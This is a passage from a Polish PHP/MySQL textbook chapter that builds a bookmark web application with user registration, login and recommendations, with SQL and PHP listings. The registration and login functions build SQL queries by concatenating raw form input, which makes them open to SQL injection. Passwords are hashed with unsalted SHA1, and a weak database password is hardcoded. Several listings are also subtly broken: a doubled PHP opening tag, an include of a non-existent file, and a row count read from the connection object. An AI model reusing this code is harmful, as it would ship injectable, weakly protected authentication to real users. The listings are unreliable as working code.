Powinniśmy zbudować system zakładek online o nazwie ZakładkaPHP.

System ten powinien pozwalać użytkownikom na zalogowanie i przechowywanie ich osobistych


zakładek oraz na otrzymywanie rekomendacji innych witryn, które mogą wydać się im interesujące
na podstawie ich osobistych preferencji.
540 Część V  Tworzenie praktycznych projektów PHP i MySQL

Wymagania są następujące:
 Nieodzowna jest możliwość identyfikacji indywidualnych użytkowników. Powinien istnieć
również sposób ich uwierzytelniania.
 Konieczny jest sposób przechowywania zakładek indywidualnego użytkownika.
Użytkownicy powinni mieć możliwość dodawania i usuwania zakładek.
 Musi istnieć możliwość rekomendacji użytkownikom witryn, które mogą wzbudzić ich
zainteresowanie. Podstawą jest dostępna o nich wiedza.

Znając wymagania systemu, można rozpocząć projektowanie rozwiązania i jego składników. Poni-
żej przedstawiamy możliwe rozwiązania każdego z trzech wyliczonych wcześniej wymagań.

Identyfikacja użytkownika i personalizacja


Istnieje kilka sposobów na uwierzytelnianie użytkownika; zostały one już opisane w tej książce.
Ponieważ w tym przypadku użytkownik ma zostać przypisany do pewnych informacji o perso-
nalizacji, nazwa użytkownika i hasło będą przechowywane w bazie danych MySQL, na podstawie
której zostanie dokonane uwierzytelnienie.

Jeżeli użytkownicy mają posiadać możliwość logowania za pomocą nazwy użytkownika i hasła,
potrzebne są następujące składniki:
 Użytkownicy powinni mieć możliwość rejestracji za pomocą nazwy użytkownika i hasła.
Niezbędne są pewne ograniczenia długości i formatu nazwy użytkownika i hasła. Z powodów
bezpieczeństwa hasła powinny być przechowywane w formacie zaszyfrowanym.
 Użytkownicy powinni mieć możliwość zalogowania się za pomocą szczegółów
dostarczonych przez nich w trakcie procesu rejestracji.
 Użytkownicy powinni mieć możliwość wylogowania się po zakończeniu korzystania
z witryny. Nie jest to szczególnie ważne, jeżeli korzystają z witryny za pomocą swojego
domowego komputera, lecz jest istotne z punktu widzenia bezpieczeństwa w razie
korzystania z komputera wspólnego, takiego jak komputer w bibliotece.
 Witryna powinna mieć możliwość sprawdzenia, czy użytkownik jest zalogowany, czy nie,
i wyświetlać informacje tylko użytkownikom zalogowanym.
 Użytkownicy powinni mieć możliwość zmiany swojego hasła w celu zwiększenia
bezpieczeństwa.
 Może się zdarzyć, że użytkownicy zapomną hasło. Dlatego powinni mieć możliwość
ponownego wprowadzenia hasła bez konieczności osobistej interwencji któregoś
z pracowników. Popularną metodą rozwiązania tego problemu jest wysyłanie hasła na
adres poczty elektronicznej, podany podczas rejestracji. Ponieważ hasła przechowywane
są w formie zaszyfrowanej, nie jest możliwe odczytanie hasła oryginalnego. Konieczne
jest wygenerowanie nowego, zapisanie go i wysłanie do użytkownika.

Dla celów naszego projektu w dalszej części utworzymy funkcje odpowiadające za wszystkie
powyższe możliwości funkcjonalne. Większość z nich będzie można wykorzystać ponownie
w innych projektach, ewentualnie po drobnych zmianach.

Przechowywanie zakładek
Aby przechowywać zakładki użytkowników, należy skonfigurować pewną przestrzeń w bazie danych
MySQL. Potrzebne będą następujące możliwości funkcjonalne:
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 541

 Użytkownicy powinni mieć możliwość odczytywania i przeglądania swoich zakładek.


 Użytkownicy powinni mieć możliwość dodawania nowych zakładek. Na witrynie należy
sprawdzić, czy podane URL-e są prawidłowe.
 Użytkownicy powinni mieć możliwość usuwania zakładek.

Można napisać funkcje obsługujące każdą z powyższych możliwości.

Rekomendowanie zakładek
Istnieje kilka metod pozwalających na zarekomendowanie zakładki użytkownikowi. Zareko-
mendować można najbardziej popularne witryny dotyczące danego tematu. W tym projekcie
zostanie zaimplementowany system sugestii „podobnych umysłów”. Poszukuje użytkowników,
którzy posiadają zakładki takie jak użytkownik aktualnie zalogowany, oraz proponuje mu inne
zakładki tych użytkowników. Aby uniknąć zakładek osobistych, rekomendowane będą jedynie
zakładki przechowywane przez więcej niż jednego użytkownika.

W celu zaimplementowania tej możliwości zostanie również utworzona funkcja.

Przegląd rozwiązania
Po zastanowieniu się można stworzyć diagram systemu, taki jak ten przedstawiony na rysunku 27.1.

Rysunek 27.1.
Ten diagram przedstawia
możliwe drogi przez
system ZakładkaPHP

Utworzymy moduły przedstawiające wszystkie pola powyższego diagramu — niektóre będą


wymagać jednego skryptu, a inne dwóch. Wygenerujemy również biblioteki funkcji dla następu-
jących działań:
 Uwierzytelnienie użytkownika.
 Przechowywanie i odczytywanie zakładek.
 Sprawdzanie prawidłowości danych.
 Połączenia z bazą danych.
542 Część V  Tworzenie praktycznych projektów PHP i MySQL

 Wyświetlanie wyników w przeglądarce. W tej bibliotece funkcji zostanie zawarte całe


tworzenie kodu HTML, zapewniając spójny wygląd wszystkich stron witryny (jest to
oddzielenie logiki i zawartości w stylu funkcji API).

Konieczne jest również utworzenie bazy danych wspierającej system.

Całe rozwiązanie zostanie przedstawione dość szczegółowo, a cały kod przykładowej aplikacji
znajduje się w katalogu rozdzial_27 w przykładach dołączonych do tej książki. Podsumowanie
zawartych plików przedstawiono w tabeli 27.1.

Tabela 27.1. Pliki aplikacji ZakładkaPHP

Nazwa pliku Opis


zakladki.sql Instrukcje SQL tworzące bazę danych ZakładkaPHP
logowanie.php Strona początkowa z formularzem logowania do systemu
formularz_rejestracji.php Formularz rejestrujący użytkowników w systemie
nowa_rejestracja.php Skrypt przetwarzający nowe rejestracje
zapomnij_formularz.php Formularz wypełniany przez użytkowników w przypadku zapomnienia hasła
zapomnij_haslo.php Skrypt zmieniający zapomniane hasła
czlonek.php Strona główna użytkownika, wyświetlająca wszystkie aktualne zakładki
dodaj_zak_formularz.php Formularz służący do dodawania nowych zakładek
dodaj_zak.php Skrypt dodający nowe zakładki do bazy danych
usun_zak.php Skrypt usuwający zaznaczone zakładki z listy użytkownika
rekomendacja.php Skrypt sugerujący użytkownikowi rekomendacje, oparty na użytkownikach
o podobnych zainteresowaniach
zmiana_hasla_formularz.php Formularz wypełniany przez użytkowników w razie zamiaru zmiany hasła
zmiana_hasla.php Skrypt zmieniający hasła użytkowników w bazie danych
wylog.php Skrypt dokonujący wylogowania użytkownika z aplikacji
funkcje_zakladki.php Zbiór funkcji włączanych do aplikacji
funkcje_prawid_dane.php Funkcje określające prawidłowość danych wprowadzonych przez użytkownika
funkcje_bazy.php Funkcje używane w trakcie łączenia się z bazą danych
funkcje_uwierz.php Funkcje uwierzytelniające użytkownika
funkcje_url.php Funkcje dodające i usuwające zakładki oraz tworzące rekomendacje
funkcje_wyswietl.php Funkcje formatujące wyniki do HTML
zakladka.gif Logo aplikacji ZakładkaPHP

Najpierw zaimplementujemy bazę danych MySQL przeznaczoną dla tej aplikacji, ponieważ jest
ona niezbędna do działania praktycznie wszystkich funkcji. W dalszej kolejności przejdziemy
przez kody źródłowe w takiej kolejności, w jakiej były one tworzone. Rozpoczniemy od strony
powitalnej, następnie przeanalizujemy skrypt uwierzytelniający użytkowników, mechanizm zapisy-
wania i odczytywania zakładek, a skończymy na rekomendacjach. Porządek taki ma logiczne uza-
sadnienie. Jest to jedynie kwestia rozpoznania zależności między stronami i utworzenia w pierw-
szej kolejności tych elementów, które będą wymagane przez moduły implementowane w dalszej
kolejności.
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 543

Implementacja bazy danych


Potrzebny jest jedynie prosty schemat bazy danych aplikacji ZakładkaPHP. Należy przechowy-
wać użytkowników oraz ich adresy poczty elektronicznej i hasła. Konieczne jest również prze-
chowywanie URL-a zakładki. Pojedynczy użytkownik może posiadać wiele zakładek, a wielu
użytkowników może zarejestrować tę samą zakładkę. W związku z tym zostały utworzone dwie
tablice. Są one przestawione na rysunku 27.2.

Rysunek 27.2.
Schemat bazy danych
systemu ZakładkaPHP

Tabela uzytkownik przechowuje nazwę użytkownika, która jest kluczem podstawowym (nazwa_uz),
hasło (haslo) oraz adres poczty elektronicznej (email). Tabela zakladka przechowuje pary nazw
użytkowników (nazwa_uz) i zakładek (URL_zak). Nazwa użytkownika w tej tabeli odwołuje się
do nazwy użytkownika z tabeli uzytkownik.

SQL zastosowany do utworzenia tej bazy oraz przechowujący użytkownika łączącego się z nią
przez sieć WWW jest przedstawiony na listingu 27.1. Jeżeli planuje się skorzystanie z tego kodu
w własnym systemie, należy go zmodyfikować. Trzeba więc pamiętać, by zmienić hasło użytkowni-
ka na bezpieczniejsze!

Listing 27.1. zakladki.sql — plik SQL konfigurujący bazę danych zakładek


create database zakladki;
use zakladki;

create table uzytkownik (


nazwa_uz varchar(16) not null primary key,
haslo char(40) not null,
email varchar(100) not null
);

create table zakladka (


nazwa_uz varchar(16) not null,
URL_zak varchar(255) not null,
index (nazwa_uz),
index (URL_zak),
primary key (nazwa_uz, URL_zak)
);

grant select, insert, update, delete


on zakladki.*
to uzyt_zak@localhost identified by 'haslo';

Powyższa baza danych może zostać skonfigurowana w systemie w wyniku uruchomienia tego zbio-
ru poleceń przez użytkownika MySQL zalogowanego jako root. Można to wykonać, uruchamiając
następujące polecenie w wierszu poleceń systemu:
mysql –u nazwa_uzytkownika –p < zakladki.sql
544 Część V  Tworzenie praktycznych projektów PHP i MySQL

Następnie pojawi się znak zachęty do wpisania swojego hasła.

Kiedy baza danych jest już skonfigurowana, można dokonać implementacji podstawowej witryny.

Implementacja podstawowej witryny


Pierwsza utworzona strona będzie nosiła nazwę logowanie.php, ponieważ daje ona użytkownikom
możliwość zalogowania się w systemie. Kod tej pierwszej strony jest przedstawiony na listingu 27.2.

Listing 27.2. logowanie.php — strona początkowa systemu ZakładkaPHP


<?php
require_once('funkcje_zakladki.php');
tworz_naglowek_html('');

wyswietl_informacje_witryny();
wyswietl_form_log();

tworz_stopke_html();
?>

Powyższy kod wygląda na prosty. Wynika to z faktu, że w większości wywołuje funkcje ze


zbioru, który zostanie skonstruowany dla tej aplikacji. Dokładny opis tych funkcji jest przed-
stawiony poniżej. Na pierwszy rzut oka widać, że dołączony zostaje plik (zawierający funkcje),
po czym wywołane zostają funkcje tworzące nagłówek HTML, wyświetlające pewną zawartość
oraz tworzące stopkę HTML.

Wynik uruchomienia tego skryptu jest przedstawiony na rysunku 27.3.

Rysunek 27.3.
Strona początkowa
systemu ZakładkaPHP
jest tworzona
przez funkcje generujące
kod HTML w pliku
logowanie.php

Funkcje systemowe zawarte są w całości w pliku funkcje_zakladki.php, przedstawionym na


listingu 27.3.
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 545

Listing 27.3. funkcje_zakladki.php — dołączenie plików z funkcjami do aplikacji zakładek


<?php
// Plik ten może zostać dołączony do wszystkich plików
// W ten sposób każdy plik będzie zawierał wszystkie utworzone funkcje i wyjątki
require_once('funkcje_prawid_dane.php');
require_once('funkcje_bazy.php');
require_once('funkcje_uwierz.php');
require_once('funkcje_wyswietl.php');
require_once('funkcje_url.php');
?>

Jak można zauważyć, plik ten jest jedynie pojemnikiem dla pięciu innych plików, które powinny
zostać dołączone do aplikacji. Została mu nadana taka struktura, ponieważ funkcje można podzie-
lić na kilka logicznych grup. Niektóre mogą zostać wykorzystane w innych projektach, tak więc
każda została umieszczona w osobnym pliku. W wypadku późniejszej konieczności ich zastoso-
wania wiadomo, gdzie ich szukać. Plik funkcje_zakladki.php został utworzony, ponieważ większość
z pięciu plików funkcji stosowana będzie w przeważającej części pozostałych skryptów. Łatwiej jest
dołączyć ten jeden plik do wszystkich skryptów, niż w każdym z nich wpisywać pięć identycznych
wywołań require_once().
W tym konkretnym przypadku zastosowano funkcje z pliku funkcje_wyswietl.php. Są to proste funk-
cje wyświetlające prawie wyłącznie czysty kod HTML. Plik ten zawiera między innymi cztery funk-
cje wykorzystane w pliku logowanie.php, czyli tworz_naglowek_html(), wyswietl_informacje_strony(),
wyswietl_form_log() oraz tworz_stopke_html().

Nie wszystkie z powyższych funkcji zostaną opisane szczegółowo, jedna z nich przedstawiona
zostanie jako przykład. Kod funkcji tworz_naglowek_html() przedstawiono na listingu 27.4.
Listing 27.4. Funkcja tworz_naglowek_html() umieszczona w pliku funkcje_wyswietl.php — wyświetla
standardowy nagłówek pojawiający się na każdej stronie aplikacji
function tworz_naglowek_html($tytul) {
// wyświetlenie nagłówka HTML
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title><?php echo $tytul;?></title>
<style>
body { font-family: Arial, Helvetica, sans-serif; font-size: 13px }
li, td { font-family: Arial, Helvetica, sans-serif; font-size: 13px }
hr { color: #3333cc;}
a { color: #000 }
div.formblock
{ background: #ccc; width: 300px; padding: 6px; border: 1px solid #000;}
</style>
</head>
<body>
<div>
<img src="zakladka.gif" alt="Logo ZakładkaPHP" height="55" width="57" style="float: left;
padding-right: 6px;" />
<h1>ZakładkaPHP</h1>
</div>
<hr />
<?php
if($tytul) {
tworz_tytul_html($tytul);
}
}
546 Część V  Tworzenie praktycznych projektów PHP i MySQL

Jak można zauważyć, jedyną logiką zawartą w funkcji tworz_naglowek_html() jest rozpoczęcie
dokumentu HTML i nadanie stronie odpowiedniego tytułu i nagłówka. Pozostałe funkcje zasto-
sowane w pliku logowanie.php są podobne. Funkcja wyswietl_informacje_witryny() dodaje pewien
ogólny tekst na temat witryny, wyswietl_form_log() wyświetla szary formularz przedstawiony na
rysunku 27.3, a tworz_stopke_html() dorzuca do strony standardową stopkę HTML.

Zalety wyizolowania lub usunięcia kodu HTML z głównego ciągu logicznego zostały omówione
w rozdziale 25. W tym rozdziale stosujemy ujęcie bazujące na zestawie funkcji.

Analizując rysunek 27.3, można dostrzec, że na stronie tej użytkownik ma do wyboru trzy opcje
— może zarejestrować się, zalogować się (jeżeli zarejestrował się już wcześniej) lub ustawić nowe
hasło, jeżeli zapomniał stare. Implementacja tych modułów zostanie przedstawiona w następnym
podrozdziale, w którym opisujemy uwierzytelnianie użytkowników.

Implementacja uwierzytelniania użytkowników


Istnieją cztery główne składniki modułu uwierzytelniania użytkowników — rejestracja użytkowni-
ków, logowanie i wylogowanie, zmiana hasła oraz ustawienie nowego hasła w razie zapomnienia
starego. Opiszemy je kolejno w następnych punktach.

Rejestracja użytkowników
Aby zarejestrować użytkownika, należy zebrać informacje o nim, podane za pomocą formularza,
oraz wprowadzić go do bazy danych.

Kiedy użytkownik kliknie łącze Jeszcze nie członek? na stronie logowanie.php, zostanie on
przeniesiony do formularza rejestracji tworzonego przez plik formularz_rejestracji.php. Skrypt ten
jest przedstawiony na listingu 27.5.

Listing 27.5. formularz_rejestracji.php — formularz ten umożliwia użytkownikom zarejestrowanie się


w systemie ZakładkaPHP
<?php
require_once('funkcje_zakladki.php');
tworz_naglowek_html('Rejestracja użytkownika');

wyswietl_form_rej();

tworz_stopke_html();
?>

Powyższy skrypt jest również bardzo prosty; wywołuje jedynie funkcje z biblioteki wyświetla-
jącej, zawartej w pliku funkcje_wyswietl.php. Wynik uruchomienia tego skryptu jest przedstawiony
na rysunku 27.4.

Szary formularz na tej stronie jest tworzony przez funkcję wyswietl_form_rej(), umieszczoną
w pliku funkcje_wyswietl.php. Kiedy użytkownik kliknie przycisk Rejestracja, zostanie przeniesiony
do skryptu nowa_rejestracja.php (zobacz listing 27.6).
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 547

Rysunek 27.4.
Formularz rejestracji
pobiera dane potrzebne
bazie danych. Formularz
wymaga, by użytkownicy
wpisali hasło dwukrotnie
w celu uniknięcia pomyłek

Listing 27.6. nowa_rejestracja.php — skrypt sprawdza prawidłowość danych wprowadzonych przez nowego
użytkownika i umieszcza je w bazie danych
<?php
<?php
// dołączenie plików z funkcjami używanymi w aplikacji
require_once('bookmark_fns.php');

// utworzenie krótkich nazw zmiennych


$email=$_POST['email'];
$nazwa_uz=$_POST['nazwa_uz'];
$haslo=$_POST['haslo'];
$haslo2=$_POST['haslo2'];
// rozpoczęcie sesji, która może okazać się konieczna później
// rozpoczęcie w tym miejscu, musi ona zostać przekazana przed nagłówkami
session_start();
try {
// sprawdzenie wypełnienia formularzy

if (!wypelniony($_POST)) {
throw new Exception('Formularz wypełniony nieprawidłowo — proszę wrócić i spróbować
ponownie.');
}

// nieprawidłowy adres poczty elektronicznej


if (!prawidlowy_email($email)) {
throw new Exception('Nieprawidłowy adres poczty elektronicznej — proszę wrócić
i spróbować ponownie.');
}

// różne hasła
if ($haslo != $haslo2) {
throw new Exception('Niepasujące do siebie hasła — proszę wrócić i spróbować ponownie.');
}
548 Część V  Tworzenie praktycznych projektów PHP i MySQL

// sprawdzenie długości hasła


// nazwę użytkownika można skrócić, lecz zbyt długiego
// hasła skrócić nie można
if ((strlen($haslo) < 6) || (strlen($haslo) > 16)) {
throw new Exception('Hasło musi mieć co najmniej 6 i maksymalnie 16 znaków — proszę
wrócić i spróbować ponownie.');
}

// próba zarejestrowania
// także ta funkcja może zgłaszać wyjątek
rejestruj($nazwa_uz, $email, $haslo);
// rejestracja zmiennej sesji
$_SESSION['prawid_uzyt'] = $nazwa_uz;

// stworzenie łącza do strony członkowskiej


tworz_naglowek_html('Rejestracja pomyślna');
echo 'Rejestracja zakończyła się sukcesem. Proszę udać się na stronę członkowską,
aby skonfigurować swoje zakładki!';
tworz_HTML_URL('czlonek.php', 'Strona członkowska');

// koniec strony
tworz_stopke_html();
}
catch (Exception $e) {
tworz_naglowek_html('Problem:');
echo $e->getMessage();
tworz_stopke_html();
exit;
}
?>

Jest to pierwszy tak złożony skrypt aplikacji spośród przedstawionych do tej pory. Skrypt ten
rozpoczyna się od dołączenia plików funkcji i rozpoczęcia sesji. Po zarejestrowaniu użytkownika
zostanie utworzona zmienna sesji zawierająca jego nazwę, jak przedstawiono w rozdziale 22.

Główny kod skryptu znajduje się w bloku try, ponieważ trzeba w nim sprawdzić szereg warunków.
Jeśli któryś z nich nie zostanie spełniony, wykonanie skryptu zostanie przeniesione do bloku catch,
który przeanalizujemy za moment.

Następnie weryfikowana jest prawidłowość danych wprowadzonych przez użytkownika. Istnieje


kilka warunków, które należy sprawdzić:
 Czy formularz został wypełniony. Odbywa się to przez wywołanie funkcji wypelniony()
w następujący sposób:
if(!wypelniony($_POST))

Funkcja powyższa jest jedną z napisanych własnoręcznie. Znajduje się ona bibliotece funkcji
w pliku funkcje_prawid_dane.php. Zostanie przedstawiona w dalszej części rozdziału.
 Prawidłowość podanego adresu poczty elektronicznej:
if(!prawidlowy_email($email))

Ta funkcja również została umieszczona w bibliotece funkcje_prawid_dane.php.


 Czy oba hasła podane przez użytkownika są identyczne:
if ($haslo!=$haslo2)

 Czy hasło jest odpowiedniej długości:


if(strlen($haslo)<6)
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 549

oraz
if(strlen($nazwa_uz)>16)

W przykładzie tym hasło powinno mieć długość co najmniej 6 znaków, w celu zwiększenia
bezpieczeństwa, oraz mniej niż 17 znaków, aby zmieściło się w polu bazy danych
zdefiniowanym do jego przechowywania. Zwróćmy uwagę, że maksymalna długość
hasła nie jest w ten sposób ograniczona, ponieważ jest ono przechowywane jako wartość
mieszająca wygenerowana przez funkcję SHA1. Wartość ta będzie miała zawsze długość
40 znaków bez względu na długość hasła.

Funkcje sprawdzające prawidłowość danych zastosowane powyżej, wypelniony() i prawidlowy_


email(), zostały przedstawione — odpowiednio — na listingach 27.7 i 27.8. Funkcje te odgry-
wają rolę dodatkowego zabezpieczenia sprawdzającego poprawność informacji wpisanych w for-
mularzu, co wykracza poza możliwości weryfikacji przeprowadzanej w przeglądarce. Jeśli z formu-
larza w witrynie WWW są pobierane istotne informacje, to zawsze należy je sprawdzać zarówno
po stronie klienta, jak i serwera.

Listing 27.7. Funkcja wypelniony() pochodząca z pliku funkcje_prawid_dane.php — sprawdza, czy formularz
został prawidłowo wypełniony
function wypelniony($zmienne_formularza) {

// sprawdzenie, czy każda zmienna posiada wartość


foreach ($zmienne_formularza as $klucz => $wartosc) {
if ((!isset($klucz)) || ($wartosc == '')) {
return false;
}
}
return true;
}

Listing 27.8. Funkcja prawidlowy_email() pochodząca z pliku funkcje_prawid_dane.php — sprawdza


prawidłowość adresu poczty elektronicznej
function prawidlowy_email($adres) {
// sprawdzenie prawidłowości adresu poczty elektronicznej
if (preg_match('/^[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$/', $adres)) {
return true;
} else {
return false;
}
}

Funkcja wypelniony()„spodziewa się” przekazania jej tablicy zmiennych — ogólnie będą to tablice
$_POST lub $_GET. Sprawdzi ona, czy każda z nich została wypełniona, i zwróci true, jeżeli tak, zaś
w przeciwnym wypadku — false.

Funkcja prawidlowy_email() stosuje wyrażenia regularne nieco bardziej złożone niż wyrażenie
utworzone w rozdziale 4., w celu sprawdzenia prawidłowości adresu. Zwraca ona true, jeżeli adres
wydaje się poprawny, a false w przeciwnym wypadku.

Po sprawdzeniu prawidłowości wprowadzonych danych można dokonać próby rejestracji użyt-


kownika. Przebieg tej operacji przedstawiono na listingu 27.6:
rejestruj($nazwa_uz, $email, $haslo);
// rejestracja zmiennej sesji
$_SESSION['prawid_uzyt'] = $nazwa_uz;
550 Część V  Tworzenie praktycznych projektów PHP i MySQL

// stworzenie łącza do strony członkowskiej


tworz_naglowek_html('Rejestracja pomyślna');
echo 'Rejestracja zakończyła się sukcesem. Proszę udać się na stronę '
.'członkowską, aby skonfigurować swoje zakładki!';
tworz_HTML_URL('czlonek.php', 'Strona członkowska');

// koniec strony
tworz_stopke_html();

Jak można zauważyć, funkcja rejestruj() jest wywoływana z argumentami zawierającymi nazwę
użytkownika, adres poczty elektronicznej oraz hasło, które to argumenty zostały wprowadzone
przez użytkownika. Jeżeli działanie to powiedzie się, nazwa użytkownika jest rejestrowana jako
zmienna sesji, a on sam otrzymuje łącze do głównej strony członkowskiej. (Jeśli wywołanie się nie
powiedzie, funkcja wyrzuci wyjątek, który zostanie przechwycony w bloku catch). Wynik przed-
stawiono na rysunku 27.5.

Rysunek 27.5.
Rejestracja powiodła
się — użytkownik
może teraz przejść
do strony członkowskiej

Funkcja rejestruj() jest zawarta w dołączonej bibliotece o nazwie funkcje_uwierz.php. Przedsta-


wiono ją na listingu 27.9.

Listing 27.9. Funkcja rejestruj() pochodząca z pliku funkcje_uwierz.php — dokonuje próby umieszczenia
informacji o nowym użytkowniku w bazie danych
function rejestruj($nazwa_uz, $email, $haslo) {
// zarejestrowanie nowej osoby w bazie danych
// zwraca true lub komunikat o błędzie

// połączenie z bazą danych


$lacz = lacz_bd();

// sprawdzenie, czy nazwa użytkownika nie powtarza się


$wynik = $lacz->query("select * from uzytkownik where nazwa_uz='".$nazwa_uz."'");
if (!$wynik) {
throw new Exception('Wykonanie zapytania nie powiodło się.');
}

if ($lacz->num_rows>0) {
throw new Exception('Nazwa użytkownika zajęta — proszę wrócić i wybrać inną.');
}
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 551

// jeżeli wszystko jest w porządku, umieszczenie w bazie danych


$wynik = $lacz->query("insert into uzytkownik values
('".$nazwa_uz."', sha1('".$haslo."'), '".$email."')");
if (!$wynik) {
throw new Exception('Rejestracja w bazie danych niemożliwa — proszę spróbować później.');
}

return true;
}

W funkcji tej nie występuje nic specjalnie nowego — łączy się ona ze skonfigurowaną wcze-
śniej bazą danych. Jeżeli wybrana nazwa użytkownika jest już zajęta lub baza danych nie może
zostać uaktualniona, wyrzuci ona wyjątek. W przeciwnym przypadku uaktualni bazę danych
i zwróci true.

Należy zapamiętać, że połączenie z bazą danych jest wykonywane za pomocą własnej funkcji,
lacz_bd(). Funkcja ta jest jedynym miejscem w kodzie, które zawiera nazwę użytkownika i hasło
do połączenia z bazą danych. W ten sposób jeżeli hasło dostępu do bazy danych zostanie zmienione,
konieczna będzie modyfikacja tylko jednego pliku aplikacji. Funkcja lacz_bd() jest przedstawiona
na listingu 27.10.

Listing 27.10. Funkcja lacz_bd() zawarta w pliku funkcje_bazy.php — łączy się z bazą danych MySQL
<?php

function lacz_bd() {
$wynik = new mysqli('localhost', 'uzyt_zak', 'haslo', 'zakladki');
if (!$wynik) {
throw new Exception('Połączenie z serwerem bazy danych nie powiodło się');
} else {
return $wynik;
}
}

?>

Kiedy użytkownicy zostaną zarejestrowani, mogą zalogować się i wylogować za pomocą zwykłych
stron logowania i wylogowania. Zostaną one utworzone w następnym podrozdziale.

Logowanie
Jeżeli użytkownicy podadzą informacje na swój temat w formularzu na stronie logowanie.php
(zobacz rysunek 27.3) i wyślą je, zostaną przeniesieni do skryptu o nazwie czlonek.php. Skrypt
zaloguje ich, jeśli zostali oni przeniesieni z tego formularza; wyświetli również zalogowanym
użytkownikom wszystkie zakładki. Skrypt ten, będący centrum pozostałej części aplikacji, prze-
stawiono na listingu 27.11.

Listing 27.11. czlonek.php — skrypt ten jest głównym koncentratorem aplikacji


<?php

// dołączenie plików funkcji tej aplikacji


require_once('funkcje_zakladki.php');
session_start();
552 Część V  Tworzenie praktycznych projektów PHP i MySQL

// utworzenie zmiennych o krótkich nazwach


if (!isset($_POST['nazwa_uz'])) {
//jeśli pole nie jest określone -> ustawiamy wartość zamienną
$_POST['nazwa_uz'] = " ";
}
$nazwa_uz = $_POST['nazwa_uz'];
if (!isset($_POST['haslo'])) {
//jeśli pole nie jest określone -> ustawiamy wartość zamienną
$_POST['haslo'] = " ";
}
$haslo = $_POST['haslo'];

if ($nazwa_uz && $haslo) {


// właśnie nastąpiła próba logowania
try {
loguj($nazwa_uz, $haslo);
// jeżeli użytkownik znajduje się w bazie danych, rejestracja identyfikatora
$_SESSION['prawid_uzyt'] = $nazwa_uz;
}
catch (Exception $e) {
// niepomyślne logowanie
tworz_naglowek_html('Problem:');
echo 'Zalogowanie niemożliwe.<br />
Należy być zalogowanym, aby oglądać tę stronę.';
tworz_HTML_URL('logowanie.php', 'Logowanie');
tworz_stopke_html();
exit;
}
}

tworz_naglowek_html('Strona główna');
sprawdz_prawid_uzyt();
// odczytanie zakładek użytkownika
if ($tablica_url = pobierz_urle_uzyt($_SESSION['prawid_uzyt'])) {
wyswietl_urle_uzyt($tablica_url);
}

// tworzenie menu opcji


wyswietl_menu_uzyt();

tworz_stopke_html();
?>

Logika powyższego skryptu może wydać się znajoma — zastosowano ponownie pewne idee
z rozdziału 22.

Przede wszystkim należy sprawdzić, czy użytkownik został przeniesiony do tej strony ze strony
początkowej — to znaczy: czy wypełnił formularz — oraz dokonać próby jego zalogowania
w następujący sposób:
if ($nazwa_uz && $haslo) {
// właśnie nastąpiła próba logowania
try {
loguj($nazwa_uz, $haslo);
// jeżeli użytkownik znajduje się w bazie danych, rejestracja identyfikatora
$_SESSION['prawid_uzyt'] = $nazwa_uz;
}

Można dostrzec, że próba logowania jest wykonana za pomocą funkcji loguj(). Funkcja ta została
zdefiniowana w bibliotece funkcje_uwierz.php, a jej kod zostanie przedstawiony w dalszej części
tego rozdziału.
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 553

Jeżeli logowanie powiodło się, można zgłosić sesję — jak uczyniono to poprzednio — przechowując
nazwę użytkownika w zmiennej sesji $prawid_uzyt.

Jeżeli nie wystąpiły żadne problemy, użytkownikowi zostaje przedstawiona strona członkowska:
tworz_naglowek_html('Strona główna');
sprawdz_prawid_uzyt();
// odczytanie zakładek użytkownika
if ($tablica_url = pobierz_urle_uzyt($_SESSION['prawid_uzyt'])) {
wyswietl_urle_uzyt($tablica_url);
}

// tworzenie menu opcji


wyswietl_menu_uzyt();

tworz_stopke_html();

Strona ta również formatowana jest za pomocą funkcji wyświetlających. Należy zauważyć,


że zastosowano tu kilka nowych funkcji: sprawdz_prawid_uzyt() z pliku funkcje_uwierz.php,
pobierz_urle_uzyt() z funkcje_url.php oraz wyswietl_urle_uzyt() z funkcje_wyswietl.php. Funkcja
sprawdz_prawid_uzyt() sprawdza, czy aktualny użytkownik posiada zgłoszoną sesję. Odnosi się to
do użytkowników, którzy nie zalogowali się przed chwilą, lecz są w trakcie dłuższej sesji. Funkcja
pobierz_urle_uzyt() odczytuje zakładki użytkownika z bazy danych, a wyswietl_urle_uzyt()
wyświetla zakładki w przeglądarce w formie tabeli. Funkcja sprawdz_prawid_uzyt() opisana jest
poniżej, a pozostałe dwie w podrozdziale opisującym przechowywanie i odczytywanie zakładek.

Skrypt czlonek.php kończy wyświetlanie strony, tworząc menu za pomocą funkcji wyswietl_
menu_uzyt(). Przykładowa strona utworzona przez skrypt czlonek.php jest przedstawiona na
rysunku 27.6.

Rysunek 27.6.
Skrypt czlonek.php
sprawdza, czy użytkownik
jest zalogowany,
odczytuje i wyświetla jego
zakładki oraz dostarcza
mu menu opcji

Poniżej dokładniej opisano funkcje loguj() i sprawdz_prawid_uzyt(). Funkcja loguj() jest przed-
stawiona na listingu 27.12.
554 Część V  Tworzenie praktycznych projektów PHP i MySQL

Listing 27.12. Funkcja loguj() umieszczona w pliku funkcje_uwierz.php — sprawdza dane użytkownika
w bazie danych
function loguj($nazwa_uz, $haslo) {
// sprawdzenie nazwy użytkownika i hasła w bazie danych
// jeżeli się zgadza, zwraca true
// jeżeli nie, zgłasza wyjątek

// połączenie z bazą danych


$lacz = lacz_bd();

// sprawdzenie unikatowości nazwy użytkownika


$wynik = $lacz->query("select * from uzytkownik
where nazwa_uz='".$nazwa_uz."'
and haslo = sha1('".$haslo."')");
if (!$wynik) {
throw new Exception('Logowanie nie powiodło się.');
}

if ($wynik->num_rows>0) {
return true;
} else {
throw new Exception('Logowanie nie powiodło się.');
}
}

Funkcja powyższa łączy się z bazą danych i sprawdza, czy istnieje użytkownik z podaną kombinacją
nazwy i hasła. Zwróci ona true, jeżeli taki użytkownik istnieje, oraz false, jeżeli nie istnieje lub gdy
dane nie mogły zostać sprawdzone.

Funkcja sprawdz_prawid_uzyt() nie łączy się ponownie z bazą danych, natomiast sprawdza, czy
